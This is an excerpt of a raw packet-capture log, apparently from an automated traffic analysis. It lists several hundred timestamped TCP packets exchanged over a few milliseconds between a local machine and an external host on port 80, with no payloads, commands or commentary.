Jun 4, 2024 23:09:13.171646118 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171657085 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171691895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171726942 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171732903 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171732903 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171767950 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171782970 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171827078 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171838045 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171871901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171886921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171907902 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.171938896 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171953917 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.171962023 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172014952 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172014952 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172049999 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172060013 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172087908 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172090054 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172131062 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172141075 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172188044 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172198057 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172230005 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172254086 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172264099 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172271013 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172308922 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172332048 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172383070 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172386885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172430992 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172439098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172476053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172489882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172523022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172528028 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172566891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172574043 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172610044 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172620058 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172662020 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172677040 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172710896 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172722101 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172746897 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172751904 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172781944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172789097 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172826052 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172837973 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172884941 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172889948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172946930 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172959089 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.172982931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.172993898 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173018932 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173023939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173054934 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173060894 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173094988 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173110008 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173144102 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173155069 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173178911 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173185110 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173213959 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173224926 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173249960 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173257113 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173297882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173304081 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173338890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173346996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173372030 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173372030 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173408031 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173417091 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173445940 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173449039 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173482895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173491001 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173518896 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173530102 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173554897 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173557997 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173590899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173605919 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173629999 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173635960 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173665047 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173687935 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173702955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173707008 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173738956 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173749924 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173775911 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173779964 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173810959 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173815966 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173846006 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173856974 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173880100 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173891068 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173917055 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173923016 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173953056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173958063 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.173990011 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.173996925 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174031973 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174041033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174077034 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174088955 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174117088 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174141884 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174176931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174187899 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174211979 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174225092 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174249887 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174254894 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174284935 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174297094 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174321890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174329996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174355030 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174360991 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174400091 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174401999 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174433947 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174442053 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174469948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174480915 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174504042 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174510002 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174542904 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174546003 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174578905 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174585104 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174614906 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174638987 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174649000 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174657106 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174685955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174690962 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174731016 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174755096 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174767971 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174777031 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174803972 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174814939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174839020 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174848080 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174874067 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174875975 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174910069 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174916983 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174945116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174952984 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.174981117 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.174992085 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175017118 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175021887 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175054073 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175069094 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175088882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175095081 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175127029 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175128937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175162077 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175167084 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175205946 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175205946 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175213099 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175242901 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175249100 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175263882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175283909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175290108 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175321102 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175324917 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175358057 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175376892 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175393105 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175396919 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175415993 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175427914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175434113 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175463915 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175473928 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175498962 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175506115 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175534964 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175539017 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175570965 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175576925 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175607920 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175614119 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175642967 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175651073 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175678968 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175688982 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175714016 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175719976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175750971 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175760031 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175785065 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175796032 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175821066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175826073 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175856113 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175859928 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175892115 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175896883 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175926924 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175934076 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.175962925 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.175972939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176002026 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176009893 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176040888 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176059008 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176083088 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176093102 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176111937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176129103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176141977 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176165104 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176171064 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176199913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176203012 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176238060 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176240921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176270008 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176284075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176306009 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176311970 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176342010 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176352024 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176363945 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176376104 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176381111 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176412106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176420927 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176448107 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176450968 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176508904 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176515102 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176558971 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176568031 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176580906 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176611900 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176611900 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176626921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176650047 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176657915 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176664114 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176687956 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176698923 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176702976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176738024 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176762104 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176773071 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176793098 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176825047 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176831007 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176836014 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176856995 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176872015 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176876068 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176912069 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.176937103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176974058 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.176983118 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177009106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177011967 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177043915 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177061081 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177092075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177093029 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177128077 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177135944 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177160978 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177184105 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177195072 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177215099 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177229881 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177234888 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177265882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177267075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177301884 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177325010 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177337885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177344084 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177388906 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177397013 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177440882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177464008 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177475929 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177489042 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177516937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177541018 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177575111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177587032 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177612066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177619934 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177648067 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177656889 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177684069 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177687883 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177719116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177728891 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177756071 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177763939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177791119 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177803040 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177828074 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177834034 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177862883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177894115 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177898884 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177915096 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177932024 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.177947998 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177970886 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.177973986 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178009987 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178014994 CEST	49712	80	192.168.2.11	77.91.77.81
